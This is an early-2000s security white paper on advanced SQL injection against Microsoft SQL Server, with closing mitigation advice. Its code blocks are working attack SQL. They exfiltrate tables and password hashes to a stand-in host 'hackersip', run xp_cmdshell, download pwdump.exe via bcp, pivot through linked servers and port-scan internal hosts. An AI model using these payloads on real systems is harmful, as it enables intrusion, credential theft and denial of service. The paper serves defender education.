APPLICATION SECURITY, INC.

Manipulating Microsoft SQL Server Using SQL Injection

Author:
Cesar Cerrudo (sqlsec@yahoo.com)

APPLICATION SECURITY, INC.
WEB: WWW.APPSECINC.COM
E-MAIL: INFO@APPSECINC.COM
TEL: 1-866-9APPSEC • 1-212-420-9270

INTRODUCTION

This paper will not cover basic SQL syntax or SQL Injection. It is assumed that the reader has a strong understanding of these topics already. This paper will focus on advanced techniques that can be used in an attack on a (web) application utilizing Microsoft SQL Server as a backend. These techniques demonstrate how an attacker could use a SQL Injection vulnerability to retrieve the database content from behind a firewall and penetrate the internal network. This paper is meant to educate security professionals of the potential devastating effects SQL Injection could have on an organization.

Web applications are becoming more secure because of the growing awareness of attacks such as SQL Injection. However, in large and complex applications, a single oversight can result in the compromise of the entire system. Specifically, many developers and administrators of (web) applications may have a false sense of security because they use stored procedures or mask an error messages returned to the browser. This may lead them to believe that they can not be compromised by this vulnerability.

While we discuss Microsoft SQL Server in this paper, this is no way indicative that Microsoft SQL Server is any less secure than other database platforms such as Oracle or IBM DB2. SQL injection is not a defect of Microsoft SQL Server – it is also a problem for every other database vendor as well. Perhaps the biggest issue with Microsoft SQL Server is the flexibility of the system. This flexibility is what allows it to be subverted so far by SQL injection. This paper is meant to show that any time an administrator or developer allows arbitrary SQL to be executed, their system is open to being rooted. It is not meant to show that Microsoft SQL Server is inherently flawed.

DETECTION OF SQL INJECTION VULNERABILITIES

Many developers and web administrators are complacent about SQL Injection vulnerabilities if the attacker cannot see the SQL error messages and/or cannot return the queries result directly to the browser. This topic was first addressed in a white paper written by Chris Ansley of NGSSoftware (http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf). This paper will expand on possible ways this threat can be used.

When trying to exploit SQL Injection in an application, an attacker needs a method of determining if the SQL injected is executed on the server. As well, a method of retrieving the results is needed. Two built-in functions of SQL Server can be used for this purpose. The OPENROWSET and OPENDATASOURCE functions allow a user in SQL Server to open remote data sources. These functions are used to open a connection to an OLEDB provider. The OPENROWSET function will be use in all the examples but the OPENDATASOURCE function could be used with the same results.

This statement will return all the rows of table1 on the remote data source:

```
select * from
      OPENROWSET( 'SQLoledb',
            'server=servername;uid=sa;pwd=h8ck3r',
            'select * from table1' )
```

Parameters:
(1) OLEDB Provider name
(2) Connection string (could be an OLEDB data source or an ODBC connection string)
(3) SQL statement

The connection string parameter can specify other options such as the network library to use or the IP address and port to which to connect. Below is an example.

```
select * from
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;',
      'select * from table' )
```

In this example, SQL Server will use the OLEDB provider SQLoledb to execute the SQL statement. The OLEDB provider will use the SQL Server sockets library (DBMSSOCN) to connect to port 1433 on the IP address 10.0.0.10 and will return the results of the SQL statement to the local SQL Server. The login sa and the password h8ck3r will be used to authenticate to the remote data source.

The next example demonstrates how the OPENROWSET function can be used to connect to an arbitrary IP address/port including the source IP address and port of the attacker. In this case the hacker's host name is hackersip and a version of Microsoft SQL Server is running on port 80. "hackersip" can be replaced with an IP address and the port can be any port the hacker would like to direct connections to.

```
select * from
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from table')
```

By injecting this SQL statement, an attacker can determine if the statement is being executed. If the SQL is successfully executed, the attacked server will issue an outbound connection attempt to the attacker's computer on the port specified. It is also unlikely that the firewall will block this outbound SQL connection because the connection is occurring over port 80.

This technique allows the attacker to determine if injected SQL statements executed even if error messages and query results are not returned to the browser.

RETRIEVING RESULTS FROM SQL INJECTION

The functions OPENROWSET and OPENDATASOURCE are most commonly used to pull data into SQL Server to be manipulated. They can however also be used to push data to a remote SQL Server. OPENROWSET can be used to not only execute SELECT statements, but also to execute UPDATE, INSERT, and DELETE statements on external data sources. Performing data manipulation on remote data sources is less common and only works if the OLEDB provider supports this functionality. The SQLOLEDB provider support all these statements.

Below is an example of pushing data to an external data source:

```
insert into
      OPENROWSET('SQLoledb',
      'server=servername;uid=sa;pwd=h8ck3r',
      'select * from table1')
select * from table2
```

In the example above, all rows in table2 on the local SQL Server will be appended to table1 in the remote data source. In order for the statement to execute properly the two tables must have the same structure.

As we learned in the previous section, remote datasources can be redirected to any server of the attacker's choice. An attacker could change the statement above to connect to a remote datasource such as a copy of Microsoft SQL Server running on the attacker's machine.

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
      'select * from table1')
select * from table2
```

In order to insert into table1 properly, the attacker must create table1 with the same columns and data types as table2. This information can be determined by performing this attack against system tables first. This works because the structure of system tables are well-known. An attacker would start by creating a table with similar column names and data types as the system tables sysdatabases, sysobjects and syscolumns. Then to retrieve the necessary information, the following statements would be executed:

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
      'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
      'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
      'select * from _syscolumns')
select * from user_database.dbo.syscolumns
```

After recreating the tables in the database, loading the remaining data from the SQL Server is trivial.

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
      'select * from table1')
select * from database..table1

insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
      'select * from table2')
select * from database..table2
```

Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results.

Given the appropriate privileges, the attacker could load the list of logins and password hashes as well:

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
      'select * from _sysxlogins')
select * from database.dbo.sysxlogins
```

Acquiring the password hashes would allow the attacks to perform a brute-force on the passwords.

The attacker can also execute commands on the attacked server and get the results :

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
      'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'
```

If the firewall is configured to block all outbound SQL Server connections, the attacker can use one of several techniques to circumvent the firewall. The attacker could set the address to push data on using port 80 therefore appearing to be an HTTP connection. Below is an example of this technique.

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from table1')
select * from table1
```

If outbounds connections over port 80 are blocked at the firewall, the attacker could try differents port numbers until an unblocked one was found.

ELEVATING PRIVILEGES

Often an administrator will follow security best-practices and configure the application to use a non-privileged login. Having found a vulnerability with the non-privileged login, an attacker will attempt to elevate privileges to gain full administrator privileges. An attacker could exploit known and unknown vulnerabilities to do so. Given the number of recent vulnerabilities discovered in SQL Server, if an attacker can execute arbitrary queries, it is relatively easy to elevate privileges. Published advisories can be viewed at:

http://www.appsecinc.com/cgi-bin/show_policy_list.pl?app_type=1&category=3
http://www.appsecinc.com/resources/alerts/mssql/

UPLOADING FILES

Once an attacker has gained adequate privileges on the SQL Server, they will then want to upload "binaries" to the server. Since this can not be done using protocols such as SMB, since port 137-139 typically is blocked at the firewall, the attacker will need another method of getting the binaries onto the victim's file system. This can be done by uploading a binary file into a table local to the attacker and then pulling the data to the victim's file system using a SQL Server connection.

To accomplish this the attacker would create a table on the local server as follows.

```
create table AttackerTable (data  text)
```

Having created the table to hold the binary, the attacker would then upload the binary into the table as follows:

```
bulk insert AttackerTable
      from 'pwdump.exe'
      with (codepage='RAW')
```

The binary can then be downloaded to the victim server from the attacker's server by running the following SQL statement on the victim server:

```
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout
pwdump.exe -c -Craw -Shackersip -Usa -Ph8ck3r'
```

This statement will issue an outbound connection to the attacker's server and write the results of the query into a file recreating the executable. In this case, the connection will be made using the default protocol and port which could likely be blocked by the firewall. To circumvent the firewall, the attacker could try:

```
exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'HackerSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'
```

and then:

```
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout
pwdump.exe -c -Craw -SHackerSrvAlias -Usa -Ph8ck3r'
```

The first SQL statement will configure a connection to the hacker's server over port 80 while the second SQL statement will connect to the hacker's server using port 80 and download the binary file.

Another method a hacker could use would be to write Visual Basic Script (.vbs) or Java Script files (.js) to the OS file system and then execute those scripts. Using this technique the scripts would connect to any server and download the attacker's binary files or even copy over the script and execute it in the victim server.

```
exec xp_cmdshell '"first script line" >> script.vbs'
exec xp_cmdshell '"second script line" >> script.vbs'
...
exec xp_cmdshell '"last script line" >> script.vbs'

exec xp_cmdshell 'script.vbs' -->execute script to download binary
```

GETTING INTO THE INTERNAL NETWORK

Linked and remote servers in Microsoft SQL Server allows one server to communicate transparently with a remote database server. Linked servers allow you to execute distributed queries and even control remote database servers. An attacker could use this capability to access the internal network.

An attacker would start by collecting information from the `master.dbo.sysservers` system table as demonstrated here:

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from _sysservers')
select * from master.dbo.sysservers
```

To expand further, the attacker could then query the information from the linked and remote servers.

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from _sysservers')
select * from LinkedOrRemoteSrv1.master.dbo.sysservers

insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from _sysdatabases')
select * from LinkedOrRemoteSrv1.master.dbo.sysdatabases

...etc.
```

If the linked and remote servers are not configured for data access (not configured to run arbitraries queries - only to execute stored procedures) the attacker could try:

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysservers'

insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from _sysdatabases')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysdatabases'

...etc.
```

Using this technique the attacker could leap frog from database server to database server, going deeper into the internal network through linked and remote servers:

```
insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysservers'''

insert into
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
      'select * from _sysdatabases')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysdatabases'''

...etc.
```

Once the attacker has gained enough access to a linked or remote server, he or she could start uploading files into the servers using the methods mentioned before.

PORT SCANNING

Using the techniques already described, an attacker could use a SQL Injection vulnerability as a rudimentary IP/port scanner of the internal network or Internet. As well, using SQL injection, the actual IP address of the attacker would be masked.

After finding a (web) application with weak input validation, the attacker could submit the following SQL statement:

```
select * from
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5',
      'select * from table')
```

This statement will issue an outbound connection to 10.0.0.123 over port 80. Based on the error message returned and the time consumed the attacker could determine if the port is open or not. If the port is closed, the time specified in seconds in the timeout parameter will be consumed and the following error message will be displayed:

```
SQL Server does not exist or access denied.
```

Then if the port is open, the time would not be consumed (this is somewhat dependent on the application that actually exists on the port) and the following error messages will be returned:

```
General network error. Check your network documentation.
```
or
```
OLE DB provider 'sqloledb' reported an error. The provider did not give
any information about the error.
```

Using this technique, the attacker will be able to map open ports on the IP addresses of hosts on the internal network or Internet hidding his IP address because the connection attempts are made by SQL Server. Obviously this form of port scanner is a bit crude, but used methodically it can be used to effectively map a network.

Another side affect of this form of port scanning is a Denial of Service attack. Take the following example:

```
select * from
      OPENROWSET('SQLoledb',
      'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600',
      'select * from table')
```

This command will issue outbound connections to 10.0.0.123 over port 21 for ten minutes performing almost 1000 connections against the ftp service. This occurs because SQL Server cannot connect to a valid instance and it continues to attempt to connect up to the time specified. This attack could be submitted multiple times simultaneously to the same server thereby multiplying the effect.

RECOMMENDATIONS

The strongest recommendation is to ensure that you do not have any SQL injection vulnerabilities. This is the most important recommendation because even if you address all the issues brought up by this paper, other issues will surely arise. To prevent SQL injection, it is recommended you use parameterized queries and filter all user input for non-alphanumeric characters.

The most systematic method to do so is to set coding standards that require this to be done. If the code is already written, a code review should be done to detect any vulnerabilities. It is also recommended you look at some of the automated tools available for detecting these types of problems.

Even if you feel you have closed all known vulnerabilities, it is still in your best interest to prevent these specific attacks by disabling some of SQL Server's functionality. This is not practical if you are actually using the functionality. Fortunately, the functionality we are looking to disable is not used often.

You should disallow ad hoc queries through OLEDB from SQL Server. Ad hoc queries from SQL Server through OLEDB providers are controlled by setting the value DisallowAdhocAccess in the registry. If you are using a named instance (Microsoft SQL Server 2000 only), set the value DisallowAdhocAccess to 1 under each subkey of the registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\[Instancename]\Providers. If you are using a default instance, set the value DisallowAdhocAccess to 1 under each subkey of the registry key HKEY_LOCAL_MACHINE\Software\MSSQLServer\MSSQLServer\Providers.

Follow the steps below to set this value:

1) Start the Registry Editor (regedit.exe).
2) Find the registry key listed above.
3) Select the first provider subkey.
4) Select the menu item Edit\New\DWORD Value.
5) Set the name of the new DWORD value to DisallowAdhocAccess.
6) Double click on the value and set to 1.
7) Repeat for each provider.

If you are particularly paranoid, you can also set the registry keys to read-only to be extra sure they cannot be edited.

It is also very important that you keep up to date with the latest security fixes and apply them as quickly as possible. In order to keep up with the security holes, it is recommended that you sign up for the ASI Security Alerts targeted specifically at Microsoft SQL Server:

http://www.appsecinc.com/resources/mailinglist.html

As a final precaution, configure and test firewall filters to block all unnecessary outbound traffic. This not only helps secure your databases but helps secure the entire network.

CONCLUSION

What we have demonstrated in this paper is how a small amount of access can be grown to take full control of multiple servers. SQL is a general purpose language. No sane person would ever give any rights to run arbitrary C++ or Visual Basic on any server. It's exactly the same with SQL. No sane person should ever except user input and execute it. This just shouldn't happen. This paper shows some of the many reasons why this is true.

Microsoft SQL Server is a powerful, flexible, and affordable database that serves as the back-bone of a large number of applications. Because of these facts, it's important we understand well how SQL Server can be subverted and more importantly how to prevent it. SQL Server is a tool and if used incorrectly or negligently can result in damage not only to the data in the databases, but also to other applications on the network. This means that we have to start taking Microsoft SQL Server security seriously.

ABOUT APPLICATION SECURITY, INC.

Application Security, Inc. is an organization dedicated to the security, defense, and protection of the application layer. Solutions are provided to proactively secure (penetration testing/vulnerability assessment), actively defend/monitor (intrusion detection), and protect (encryption) your most critical applications including database, groupware, and ERP systems. Free evaluation versions of our solutions are available for download at - www.appsecinc.com.